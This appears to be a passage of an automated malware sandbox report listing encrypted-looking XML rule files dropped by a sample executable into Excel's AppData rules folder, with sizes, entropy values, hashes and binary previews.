Preview:	<?xml3#.......=!.t...#...Y.EWh..eV..Q...l.=...>..zA>..f....2J.d.}....$..f..e..8...a "...{.Zqg.....v...`.._.H...,LB.j.R..Y.L.R.+.i.]...&+C.`..K..kW{>dx...;.W..,._.W.u+..p..53.W..p..v2.....&....w'...N.'....n.1.p....N.&.[q.,r+n#7e.3.<...t....2.M".y.....d..=..).{{Z}.;.O......P..s..Q,....w..w.L..u$..1q..}.B..0zS.F~....i.......tE...{?.[<b.aq..3..7,:...1...d..a..D..^.3L.<1...]HP..\...cz @..Yc...xW..@..U...)..6......O.N..:..S..#nr" (....6.P....;.F..+......Cc.p..../.3.X........S...0;.+D....i.K..Cv.'2.$i..$.~.x.../T.v.1.N.Nl.3C.......W.]....!#g&.-G.f....yae..f..W.XSXP`.D&..._...N5W...^..?V. . ...x1..:..z...=07#s..c...(..@..c.F...Q1...... .Ng.>3.a......,.B.D..N)j.h:H[.H..Yd/.ymo..{c..rR..H....^..j....R.o..3......N}<Bz/........O+.F..+..<..!.4..;.uYZ.'.V.:X......].~"..x.\...R.R.....J..t_.n.y.)..A..un.._..X..Z...E..~Oq.Fde.H...&..,..a....3..t.m..<;Z.......b..k:.dB.....=+.J.$.\|...(~.@ ......-...&<..7lq....g\|..HB.~0....m.&...VA....U..8..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700700v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.8722159991161575
Encrypted:	false
SSDEEP:	48:AcqnKlPsfjp2vTnfrW7EqizzZj5Av87aiTVp4twGf8mD:lqnKRsfj4vra75Y7AvC9TVp4tnU+
MD5:	848AD0658DD92B2EB4F45BB54AFC1584
SHA1:	71263299DA4E8B52A98ED5D1825F8F57196E1A43
SHA-256:	210CB7AEB4E5E0AA4CE705078F5B7A8DE68D5C8FACA6EB8ECD245F2CCD918DFA
SHA-512:	6940E9B168EF3817CD856275B9BFEAA11D62B72B6906ADBE7A09449A81633C5D6BBE393D8D19D752EB36CD325B0724DE2740F473CA7AE57F18A6EFC7226D7A65
Malicious:	false
Preview:	<?xml}..,.).......U<EE..R.?............)..IZ.....:.?....?:.8.V.G.U...k6...a4.['...9..:.&V.=[.."p`.Q..y2....F..w.`Tvtsl.}....:..UPl..!...Ko.%.e...........D..e..q..' ...+..2$..4..z......D....`\|RkQM..69<.?Q-......j.@.X6.b..-{m....#52..]...w..\Qi@i......#_..;.GU.m....^.... ....36...<=n......x...G... ^/r.+1ri....%..%z.P... ..S..nS...../)SRM.Q..N0A...)....5z............%..9...U.....V...\......=./..n..,?...._..@....(.V.j.^....k...ot..?..?...}y....-...KH..oY8.Y.....^.q\|.08..^..?.K.[(.~e...,&@....^..]...5x.j1..l.:D.....`d7....._.u.z....pk.../.P......]#<..E.. ........C......`.x^.?...9e..p..D...O:...<=..Tn..:^T.?.xt...;.1K..!9.xf;....p.f.6.!.../..H).O$[B..D.?l.1X.Z.m..~.....hg.%..<...N.F.8.L).n...t)k}d.#.E..L..1.-5..../.KA..B+..L...n.P........V..Y.....K..._.lV..8/`_..CM9.\|.*s...THt...^..q..a./.".:W..z.....5"..^;-..$...]..1l.n.M..Si.s......5..1..(.8...p....[nr.2.q$Cd.-.:..f.....)..[.L-.@..b..OV}...V[....X.v./BI].c..x.....eO.V...L......eeYpR7)..BT..N'.^B@.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700701v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.889284635524108
Encrypted:	false
SSDEEP:	48:oSkYLQx3hbPSht4C1gVlomy5/uOCWW9pFemD:oAm2yy/uOCxY+
MD5:	B0AD846C072C9CFB3C0D45072059B550
SHA1:	58C870BBD9AD84D16712C6324924CAE983D6C916
SHA-256:	390AA929F2E19480E85368D0AE0E045B41EBD31AF07D74536C64B063A3855CFB
SHA-512:	249825037E403A42C705CCC6E78F71803109F3A02EE226F718450FB1061A4C8E660187A90AA25F0589F6A2EAFC8B8F8B5B4DA083DA9EF87B13E98C9061E1F0F4
Malicious:	false
Preview:	<?xmlV.AE.D..n...ki<..H....8X...S,(9...cP..H.}...R..f.,a(%.64G..../..06b.z.7..(....`..d...z....<'u......y..c......Lg.... .%..&jw.x.R.....L/..I....qw...........H"'....\|.:&...(...o.o^...OJ...c/..].+....:.....V.;.......)..\|.]....A,.#Y>^Y>6.3m....3O...{..;.......l.t..kg.~..o..2...w..g....)....[\..M..I...z...cq'.PE.8.BT...]Gq...j.zE{..`.+A:.wA"QY.zw..<.n]%)!......G.n..%ut=.`.:.\|...#..dt3wY..P.Jx.b..?..V.=&..-kw...KgI.....E.<K.A..)...v.ujp....7If.n.3yo.t..;#.#..~].[....\|...8.gh.....O1X.......E...z..........i.....nG.!..E..O..i..W.hz...e.......uf7.u.4?...1X.....DD.0xg.(.2%......Zm1...\|=y.= .O...I.."[.%;]......{.......;&..g..F....TP./....9.!.............~._.x....,...I.7.....T.K....}......c.;\|ig$4b....5.....p...L.R.....'Z@{%........z6{"...r..q.~;.N@..........v/4b.J..e...7"j....yUr...,.D..".......1....:.T5Co..k.-gT.{UCK....G.1..6.ml2h,..<PY>I..q..YH..R.....b..........dOj....."oTi`O.....w.).&k`Kn.9...\.'.C...S......e.U..LT..T...W....o~..I...9k.C.<.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700750v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1710
Entropy (8bit):	7.888521733551062
Encrypted:	false
SSDEEP:	24:ZYy6El193VUHpHuscU6esTcpxo+ex7ALztv5D1t1+3tp4QJG2B6G22OA+djisDbl:7ph3VUBu3TTCxqoRHytqpd9A+dm+QLmD
MD5:	53A1709A3423DC2DD999ADDB6AE8F291
SHA1:	A42B21368FF1EEE9E578223E43EF4293E2371E4E
SHA-256:	B61DF9745E0E724EA4B203F0ECCD02C027F8787D7F0F7BC3B331231653B7F118
SHA-512:	82C0EC0FC4FA7E9E167C9D12C9C90177235A9773FB49DDD53E7144CFED6B9FA3AA9725CBCE19199F084568FCCC0E98897DD227D35B66C215A52ED385D7F9AC68
Malicious:	false
Preview:	<?xml...]%....p..h@...j..X...... s;..#.d.X.{......L....O..'.C.P}...A.]@.......e.kP.@~..n.p.t..w.\|....@u...Ig........B.Pr..n-..'s...H.~PE.....k.]dxy...7.-._0.V.....7w.p..J.MH.0...5)..%..$..$..wt%)\|...s}.q.+O..Y/A.:8.O.k~1.:OR.....]..o..j.y.y..-e..O..y....]-....bj'(...B1...[c..&...e.A.....'w.F..xs.u...%i'..e..&2.u;.L7..Z.Se..4%.v..g.\^A....#...O........j. ...@.U..r.=SV.]....=.WFo., 6N+3.v.^....~..=J....V.G$...b=...h..A...ST......5./.p...l..h..L7....-..Y..4.>. ..q(:...,YN....(..,.\..WY. ...r...6........1..4.b .,.....z..0.k.W}.@2r{.3...@[.5...]h...q.@...=......W...#m....(.......Z...W.....l.~..Wq...n..B..2.1..6zX.z. \|(.o......c.P..C./..{4..S...]...Z=@#..N.(g.>..C...l(E..Sh..~_....OB....R.....4#m8.!%.....0..>....1..L...2G..#..kq....Q....-!.L.>....i..&.1.f.}.....)W..=`.......N- ...E^<.....[.4.....c...t.....6..K~E...J..H~8...^F.V;>"..\|..T.0\|RbO.....a..cv....\|....k.[D.P.V..T... .-@.K3X...,._;&.".=h...P........jr..1......B\|^\|..^..]...*.2T>.IQ...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700751v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1747
Entropy (8bit):	7.877063634516897
Encrypted:	false
SSDEEP:	24:M96gjIM2LX0HSrjiP0jjNHvASeTZDAwvs8Wdikx1rUx1Tl/4LYQPOP6NRyk4DsjM:SMXBjiPMHvGg8aiQWHBgLYmra7ld4mD
MD5:	438DAE601A7A1259F1F7B070D0569FBF
SHA1:	5EFAF18046CA16A87B7674E4E2DE4FB783946374
SHA-256:	1EE06B00102967F7AF4D9DEAA622F83BC820CCCD04A91EBDAFF1184A6E63CD7F
SHA-512:	C64D90EB609E7FBDC3B9B03B2EDD6F1DAF42ECEBAFD81289B04486B0D4C7B6957A63697E517F1E4C71A846CA06DA1A5437BF736E135166B7F44DA21C68A79C61
Malicious:	false
Preview:	<?xml....d.tF.....Z...EG.....D.F.;?.h;K..I...E`.)..l...^...).D:...\....Q5.x.iE..c......hr..J..5L%._[.ZM(ag}..s..g..k.U=.A..=E.....h.5a...I"I.9d.#g.........+y;r...}j...2kx..A9.+.~c.N....Lj.V;?.=Ft0.U;...?....... .....1..`{..........EI.)KWo$ R.Y\K...f.U.V+^.~..Z.(.G...9Qu....R....CN,.\.....,.#...Z.?.[.@..`Q.Q(.\......c...A..>....O...U.....x..q..M..7~.n..h.&.......fJ.w&.;\|.....x.r..g.Gk..........).Z..r..Kp.k.#Td&.^<..h..q........P....E..'..X+,...pD..+/...H..a....5 xM...K.-^4!...z..Zl...'.Q.....y.+..&P..c..%..Pe.$i'..JC.i.J....Pr}E..L.}.VqQ..tA....w{]I.#Eq.0BE.....E...,.......].d./.bI.tZ2".d......(k0.....:5Y...w......T.....J..E.C.B;...t.xmV.....a3.@\|..a.\.n{.......ie.G...+.;i.$.."R..8.4...v7..[{OSe$M.9.4%.J...m...........{..n..........7...Q>..).pE..e.4.5... O.....9..gh.,.#.W.5.\...{vF.q1.....tq..P../.....%..Z.u...:;Sw..=.....7t...T.Z..d..99.<..]. {..-..b.N\...z.+..[h.B9s._I..p.;..'HBd.K.....-.Q.X..p..v.........H....K..ms..>..8b...fo....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700850v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1711
Entropy (8bit):	7.891759896538777
Encrypted:	false
SSDEEP:	48:1wvw/5o6qLiWo8MTnQT1PjjbMT/NYy/59vsZGlJmD:1wv8o6qLiWo8CQT1PjHMZYsRsZo+
MD5:	905F7B24860B4CF6A0B041E41EA2D9F2
SHA1:	747D29D560FB33909E53C333FDAEBF5AB6B46B5C
SHA-256:	171D879F4FD0986749CF95B6144A850AA73E719E5ECEFD50793EEF224C551FF9
SHA-512:	93EA635E9EDFF7B45671FB666F53B93285FCAFA292458BAE1CCB3162CCFC56AF734B0435AF8D0E99ECDB568A8F19FADF5893022706A9DB0880D984473D5F77EA
Malicious:	false
Preview:	<?xml...........7.+...`p..vI.f..Fr.Uso..H....o.iZ'..y....A...C@u..Zu3...G.....a.....~."..1(I.....x..7..V..I.)).A.T$.m)........^..e.U..?d..T?c\..d..3..kA.T....7M..2...Q....R.i....%..yi}...s..8..f...z..@./..F?A..M.{X.D...`...v;......).Z....#.N..n.......oG.D.J.....\|....A.7._..(./..>...&j..@.....{..y..B...3.7Z.;..c...O..=.....9.{.=@.:CL..5K........gG#.^..x...$....S.3...Sem.>{.E...f.Fv.f... w.hj......I~$.}..KR"..v.......r..{;.{?....D/..S.[..X Y..{3)!......+..<..c:"h{vh.....tSM.Js......'......}'7.xe...E.Ts...G.7\|#.#.;.^.7.W.f...Q...J.'.x.GY..D_...]..OrR@.P.u..'e.V...=q,>k..K.qj.(.....v......gm.4..Ka.D...1.....[OeWGz...jgS.........Q...p.#Ic.=....T..]:...T....@b.g+;....v..U..>..t.A...wMz.B8@.. .....)....'I........Zv....mQ..k..wTk. ..Une....E.F.N,.Lb...O=.k1..z3..<.}...l6./......p..M.=M.V..\|.0..s.....j.....+...$...A...-#...w.z..;m/.W5.$3.......lZ..}.f....\|..{.H"0.ip..[.;....>.......y...i..@.).Z..m........)26N.6........I..*S....K..T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700851v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.867226104955421
Encrypted:	false
SSDEEP:	48:e2cwL0CVHw0niW06A6hClMF++Z8F16dhOCKmD:eQL1NBibj6jF++Z8vfCK+
MD5:	4B7C5861966D50ADF88FCD4796DD55A2
SHA1:	25DC7187904F604D43504A50425DCD267BFF689E
SHA-256:	E65B2AA108EEACAAC4D21528E508DBDC018965216631DE94A8FE1C1C1B52EC59
SHA-512:	BC30B6C01B0831828FE640169D6435A6487B63AFB51A8249ED1C90ED9D1A15FFC6A79E87C65EB334B4B1DC114058C915C9F53CE85820D5148915F6F94D52FCB0
Malicious:	false
Preview:	<?xml.e.w.S.b.....n...q....KF..T.....GMJ..`]..Av..M..o.r.[.....b.....zJ.1.}L78}yG........s.\."........m.e0u.@..T:....?h.2..'..$.=...v..D....bB...M .k.[...Z..zl9L....i!C6-iq..%f'.....J....t..H...k..#.w.5....c.4.....p.U^.2z.....\b:Su#$..l....X..=s.e...~.......6N/C..o.f.....n4...A.....9].....V...%...&J2...6...)6E..z3....'P ...7].+r./&....<.....lG.3V..a.M....@...."8&...4....0.j..c+......V...'w.s<M.......I.2..od....\.E?.^.1xAj2..s1..A?.P.7<..,.............-5..;z...K...O:.cC}wU.7...k]...j~z.j....<#w.T...$K.,.....E..J.....9...g.`0.'PZ..[.g.. 1......X.Z. ..........\|.?E;.=..E.%..k.e..3........K.'.v..Zh.6:....F;.}.tOHB.g...'...:Zv.e.+....M'...Z.2.....e?.x..p..A...h........q..%..S."V.j.+;w..T~mK"..... .kT.@\..Tf3.1.A....y2.x........q:+...L&...v.[..a.\|....8g\|V.M..q........+....[I...H...p.s..W{...[....q~.tnf.{.]........W...`t.`G.^..^5...x.... 8.d.!..Z.`w.^.fm@.'.\.A....}.... ....d.;.M.G......n.0.}. .8$.E-[[f....PE...8..3..r.Y...:\..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700900v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.852044619139512
Encrypted:	false
SSDEEP:	48:2nO2+tcWSNjBufQJSNc+hhlAPrg6Q4jQoCKvFmD:q4E1YESichlAPrTQ4vz+
MD5:	D210331FC83EF7B1D4C427E68EE67610
SHA1:	0C3D9F12950CA7154BF68D45764B8BA80521B357
SHA-256:	7FA48A58EDF174F5B959F390F04A32F46470ED017225506941D3A83935FEDAFA
SHA-512:	5E5ADE4806AAC2B30882ECD4A19D961DD4C9FC61956DAEC68E922F594D36EB1790D2CCC51F362E269F5F3B31A371BF3CDF0FB2E22D69AEA1225FF5541966E29C
Malicious:	false
Preview:	<?xml.FX..,.F8'V....D..i.4../....S......-h4..n9f(..@@..).6.Q..Dm.r..ou1?...J&A..}#..+.`O.o.X.T.5riR.0.X$.Gb.ja.L..... '.....`....)L..F.L:.o..U0.^.:....BX\|.y....O.b...daO.c...tmp..;........[RSE........g ...#...@g~.6..98......../M.j....b.....a%...z]..W.l..Dx.~.=....E.zN.c.=.\|.(..+..b...z....[.3.....b...8...r..V.uu..Lw..a.mq.[t]V.l".d..Y....k=..[..&iuk..u...>A.S..a..zv....?T...K..b.0L..v..R>.e......x.7..._......0m..0.7..k&H..."T.....)..R.mu}.+~.....]!B..u...ZA=..].....J.<...!.r$...B...9..iy.Nrk.z..."<C..e..lCP1.m...3..)..s.9.[.%.....7..........7...L..?$u.]S..A.e.b..[.?.8.91.....Ut.......de.q\gC...#Y:G5.s...C......EA.*.K..7dB;.].l.0`.TE.!b..H..........\|z(..3_6m..I.t.P......,L..N...7ig.......7......\|.G...d1$y8.....`.:.P...i:.08rMb..o..?Rq..<43.%...Y.).t...I.".R'.Du]'.(.%.qE.....k..X...y.5p..../.)Lq.E...F....Z......'...(...g.9.~uy....E$~.V..........!..> .,%.K.t....5...J.?..c0."..=.&..%W.....N...l.-+....ha..0c$E..,......i...]..X..k,.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700901v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.87795693147232
Encrypted:	false
SSDEEP:	48:DwfuSpGzbzZgeaRRlMfpI36Pa/NTWbvR72cxOaM2BlWmD:DwfcGJR8fjeYbmGW+
MD5:	39EBCEEB7857097D1C309FED59D93F53
SHA1:	C275A0B7112E8C76AA83B91CCE9DDEA1711550CD
SHA-256:	84E9549428027D48FE8FB7C39F7E59824CA121EF7CC10940F624D031E2B8688A
SHA-512:	441C534A18C1EE57861D3FB533293563369652B21FB3673EA352123FB7168AEA26C1C515B9BC5E1CDD1DE489C6D4522C25FCB4B02910C47F3E97DB2DBA79EE21
Malicious:	false
Preview:	<?xml......oc$g.....g=.'FS..l..Y........w.PJV&f4.....=....o!.Ou.3Sie.....k..y.~.....0I....Y.(n..47.4{;....V.+....U$2..q......".....\.a...I.....''.X.z....../(....).f.C.o1?"wy..V..z.8.G...W..%K.jQ..........Y...dY....I.-7ng..J.1D~..4.0^(::....1...yH...:.......=..u.......9d(.....R..dp.[.[?...>..}v...y:G...dR......{...=].......'d..X.[K...P.Af..H.>..M%@Xpg..J.:..Vt....H...6.N...A.....4...m....P5..a..H.p.....:2.j...%U.....Fo...Zz.X.S$/C.m.y;.....t....P.......S&.....:8.m)p......Z.\.6a.'...'W..;.-.<. .K98qC8K.&..V.N.y....2.t...!.q...i.n...Y....S.a..C.-.p........w....\2.K.......@.Bv..k=...........D.Q\....;p.VC........o.Q.ye..f.69..&.<J..o@o...dx.....Rn..;.T..V...z.?J.6".7....&..=......Bp).#.7...p...Al.D..a.n.p...k....<:S\.J..."-.@..<.>x.o.P...9....We...y....S..a-.$.jyW....[aG.R@..CpG............IH......3.......>...c......?....x.Y.i....su....:E.$.....Ozik..5_...M.a'.`}.....~?w.%....$.j.D.....X..g...](..]+.,..h.+.Up<A......w...v.:(...?.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700950v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.869427492989528
Encrypted:	false
SSDEEP:	24:AjHqEeJl8BSIZAR0UwQLcS34mrSo0cjGqC2kDuo0/oJq4Kxwy4D+yesbD:XgKR0UwQ4b7jcjw2kD4oJq4IX4zemD
MD5:	890A91339B83A1E52A4D5CD0B4C40F9B
SHA1:	5062EF149931DFEA0317F23174246C266786CBB2
SHA-256:	ED19F37289C8BDEE94D8C93A88CBF0F0B57010FFED963EDBFEB9560FF70B9520
SHA-512:	1DBA9BDB4244EDD61BD99927E9AE3095086A35A1C01E9EBCA41D91A81BD04EA8C0BD0006D982A95437F78E3912684B7CF1B2DF9CEFD010FF5AB2DE6A3102C880
Malicious:	false
Preview:	<?xml..r...)`.~..6V.f..H% ...c......x.b.ly/;....LhD7=.2H.r.Lc.l......8\|.=...A\|..]S......A..Z.Vp..\|.n...z9....\..G.X..N..F....L.hA !!..Y.v.w.F3..o........x2...}...cS...d$......NQ.:....b..].Jd..H..I...y..,.2.R..F_.C..a.z..\......\l.]E.....t.2....O\.d..Y.........B....:pm.*TZJ6..A\|+..`...xkV!..zW].XK;.%..-<Ua....h.....1.M-!..x<m\Q.D..g$17..hJ.CX..J.M..7..p..........Lz..o.U.~#.8..C"3...i.U..~...p.8..<.VY6./..U.....@......#V..gg.....zp.....g%....X.....#../..)qP..%....K5..cO....d7i...G2..l.z.M{.].r.[.r.....[..x.....;.vx..1....oM..^........9z/...$.k;.L8!.....m.7Dz.i....y.9.h..'.BM.1.....;.R..S-(...O..j.....!....S^.s5.g.N.r..,...@s`..1..z.o.h.=.%#..a.[..>..t.S...8.q.%.....:.....-Nq.j...."JX..G..\|.^i..{...pW...Y..P.Pgx.Z.n..s.H....UFx..T..h.G+...DN.....Q.K.854a%).d......L..D^z.W...i.m.hv....3.aAF.8&....#.q.x7...k...8.....5../.v'.U+.}s....y...6:}8~...0E0......}...=.G..de..L.lj.(..C...%.{..3s.^X9Z.X.I.e....j.H.r^M....P..{;.....C".....S..f

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700951v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.885415147406636
Encrypted:	false
SSDEEP:	48:Vcbd/metufOwDSj1dFLrBkxJMH8dHTytWX/w1M9TLQmD:Vk/mekzDoFLFkxJw8pytUo1+TM+
MD5:	2B8D84D1A9BB852D2BA1FE63CF40C6EA
SHA1:	1F73EF95CD0DA1C6674F36B605E91F099E565224
SHA-256:	91C8DB6CDEB08E36296539F4D93D3F09DB46ECC373C9FFA861DBADC381A9D01E
SHA-512:	70D181F9D06FFC9BBB99AA6953645B17B754FC74F752AC85BCB14074680DBDD48E9A01EDE3634B14E917924334FE36227AB1BB8B04C40FF8EDDD1CD4CEE62148
Malicious:	false
Preview:	<?xml.h.ep<...+.H.>5.x....z..9"I..;.....ry5.^4 ..2.8"2.....j.8...p...\9...P.L...).X..<..NJm.2n..h..............{...G.8....[....1..)<....u.q.....E,.XI..T.(...........au..j9....G..8.......6....nQ...+.3D........}.{~\|....0#.?.&.Fc2..O.R..5S...J..C\..(N..x...^Q..$R...,.y\.....Nrv.......IV.].eK.....8Hpu.g..3...6.....q....z<..1.V...,\E....,p0...Jt.]..a}.U...S@.\..r.G......@v1......'.......0.v...F..a\..J.N..#..;2..M.....,.X.mgpPE.ZM..].a...'X..BC......h[X.Q....v....^"F+.....[w.m1.w..s,..g..+$.R..W}<.pX./..$..e...Y...e95.,.....j^G..........`q.OHpF.[{....'..z.C..=.r..C.@'...{.{....V.g.`g.O.m....Z..l=......X......q..G0.>.$[.f.......Hd.s.......-.Ma.9`....L..Y0Y.....E.../.h...wk\|3...a\|j......sR.$N.._...........aF.9....H.b+m..Ol...`.N. ..<mX$...p._.DR<Xxu....bb.0..*CZ,i..e9....5..C..U(..\.......-$B...q6yp..H.O.\........1]..X.}[..+m.........7...:.".W..{..ds....F..U~l.@.0.....&....\t..4H,F.!..)K.b.........5,.j.F.9...B...A."1..x....r.rb0.....!."3.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701050v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.872564979654252
Encrypted:	false
SSDEEP:	48:N30PHZl8ORmEu1xUR1A70Sx/Q0gdWC5NZmD:50P5lGEuPURqd5Q0gb3+
MD5:	8B115986B82773E704ECB360AE8BC6FF
SHA1:	A905FF7EA5215AFA2375EF26A13CD5F2B98D401E
SHA-256:	BB0917704FBD48D3B69024B620CDAB9C1D68CBF73D03B3A2A6D29F5B6A79CD62
SHA-512:	AE734C4BBAC5EBE3660B4546F4DC044D2DB0DE59B836BD3F9DA5B82117432277920FADC38D01E9BEAFADA88EA7ADA9D9C5F8DD3482022A82D4DE2630DF47166A
Malicious:	false
Preview:	<?xml..w#...p...pI.P}{...$._Q=....O.N...0...L.V\|...\.U...g.<.....Wrs9.. ?.M.X....2..L..Br.Nn....T.7I.l.'..6.F....}.xX@.....&@.SkV.O\|.q.......g...~.D.w....Q........./2=..;vVz.U....v..3...n.u..T...b. .k`..L.0.\_...-m..,c.+...Z...)hv.....i.,.{....y.e.ML......a......]..-...G.,..=T..m.\......dFZ..6O.d.......K.....M....k..........`...@(.....j.r.f.A.?7.>..TY./..w..L....1._e....}^...f..o<.&.T....G=.s%Q...Q.....H..b..{.......:....<.Y.....6..".Z3......7.....On.)[-..kD....b.....t.S}.4..T..h.P+...:.....h._.....q..+.....G..7..,..."..n..........')E.w.FR".D[O;.w'3..m.M.......\|q.yf.Mfr.=i..;..M.h....G.j.l4.U.......=..9.L=..."B.6&VI.z.I;v.....E.@..=.csj_j....e.J...V(...r...X..lHN.[.M6.q!...R....&.y..8..C-........t.s0e..._#...e.\|..T.}tGl0.....-....d..C...Mf.q..&R..#....=.z@....53../....Y5....~..,P....EC'.a}Z.O..J.?..\.0W/{?=..y>.d.E%s........7...&\....0`*.@V.0\.a...fN.C>E#+.N`...)_/.&.......Z.Szp0.......i.Q.}r......M.5mt}.e...F?\|..q.u..-

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701051v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.887205620592985
Encrypted:	false
SSDEEP:	48:VtRgVQioeM50HOAOymaW6qoftb0C1mKoiSCA9ZGdO5Z1jFMFmD:VHgKion0HONyZW6qUtoCYs+ZGdOt5MF+
MD5:	3823C369A046E81EEE285E18A877BD46
SHA1:	7DC3B73DFCCB495C9CF523E71A4B974EB0844065
SHA-256:	C9B1C75E1652E2BFB96BE54E9EE6025C474EC08601D3029A71C2C7B46A21F1E6
SHA-512:	6A95F87E0A59128D7E3938B915966BFB9C86CB6B58AB4F861FB52E2CCB0B29B723AF3AF264C458BC24C8268B66B44438F6C24813596A379BB78B7C49310489CB
Malicious:	false
Preview:	<?xml.G.....<...Q.......7...\........T.......v....>4..a..d`.....g..".=..._9..;..Ce..<.K..S.t..G.\|..2.m.!..a...W..n..l.....E.%&.9..W.2sl.'.N...A)..P.......3.'g.5,...y.w.x2.b..?o..........j..&u......h..2....r..9F.....:...!....0......G.Q...t..0.uc....k......8.T....>.@HC..... 7.l[..T6...gG.. .`u9....Wc. ..#\|.{4\....`.....,=.7..=..3..B.w7....{....<.Y......._.h..J...5...W ........A..3{z..I.v.E [.5.?.n...Y3......u...9.-H[$.....F%.1R.I....D.....#o.'z-..>....@....//.)G.@V.tg.Z\.....7?..7^.u7.T.m...\.P...5CAf.2cg....aP..@H..Is0..@t....z..HK.>.....uB..>...m..dv....N.f.8...u. .%...J!GaB...N...@.)q.:.}i....iT.......S7.3!8]?.5l........}B.......)u.'...8..=g.t.d..._9m...-..S..$..e......p%(.w.#.[........._....XzV....T.&..J;..t@1[...U..q.g....F..i.c.A.=..-...e.S.LW.....V-...^~..pg.._.......4.ih.}.g...... .....VGn.........t5....e+gt.......jT.x...N...H{(....2..5...+..3.]....5y\..q.............o!..X:..-5...UY.......Bp.6a...,-.t'.<.xZ...*.?.x.e.X98@......_.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701100v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.882985313873968
Encrypted:	false
SSDEEP:	48:o3mE0v5/67D+Id2fVAl5JcYjg6IhjmzDhHfmD:o3mE85/c12fi5JjjEMHZ+
MD5:	E46A3E142B0732F84F86504721CD83E5
SHA1:	C7471E012A93C7E8DB8B1780FB1C1EEDF83A01DC
SHA-256:	F3F2E5B633A656EFA79C85834807BBA0E045A733DCAA3BBDE40ED1D0843F384E
SHA-512:	017E367554ADDF3E4698BA842C5F5FB91245D906CB04C9FC477C3BE22411801C5A96489AE9B717738E5322E657B9D8097333AF12E282E7F8D293C41E2984C8D5
Malicious:	false
Preview:	<?xml.X.#.(.........T1.{..{..y.\|.....R0;Y..u<...F.JMa..\|[.].{..i.. ....\......\|.....%..Q..{C...)...F.!;G .F..f..........._......T.Z.b1...^..<J1.(.o;v.......Tg.R..A.SI54w.!.......^.[........>..i..J.E.Dg..ay~...['~....b....X.%E#.......W.e.e..9....g.....\...L....wz.\| ... ..T......=.4\|..H.+1x....P........o..j.\|.........h=...!3.....D.JV......J._..&.}.{..{0.,.F.^.Z...._.z....b.&....Hw.0.......R.3..!g..0q9..~.O.zO...T.G.21g.BH..`...F>U.....+..:.Y,.....].S....T..=...]..`..X.N....U\ LS=.EO.C...LR^K.H...V.-f.E..8.=3....7l....#S....'"}.8m......7M..Y.3.".V...A........q.t.s.ba...P.k..3D.........O.f%.?PB......._....bR..0.........P.\..G.H.Vp...=L......s.Q.F`h...{7...K..T.O.....I..s..7...,nP.R..Y3.4...oI.aE....Uf$xX3.....a.g3[...(.J.6..g..X.'..D.-.......,Q..e!..nh.n..Z.p...W.z"n@.4M=.........I....... c<..-{...%l$+..>^..In.}...q....k....N:..S.E....UB<.U-U?x.....)1....!. ..c....g...27..".......Y.fl.W....ex.6.p..6u....w...K..........Mx..%..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701101v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.879533127992756
Encrypted:	false
SSDEEP:	48:uTNKTsQBENcCd3tXNd9JPG4407mEetdFD71AXyUmD:CNKvEN7tXNd9pG440KEud1xAB+
MD5:	DD245339ACEFAA953662EB4C40B34F45
SHA1:	D5C26366EF79A6F5465592D1367FF22349797777
SHA-256:	238E02FFE477EFE1A2DA1E68492A97A6DEAABE3568AD50D3FB1E65BCE46CD409
SHA-512:	E2AD72363F7488AB6D186691BDF030F8C065B3DBE79E9D8A04E4BD38E081706C951833A8524A9917A729C7FCB7C2BF564E421DFB34AF0AE2AD934BC30B62BCF2
Malicious:	false
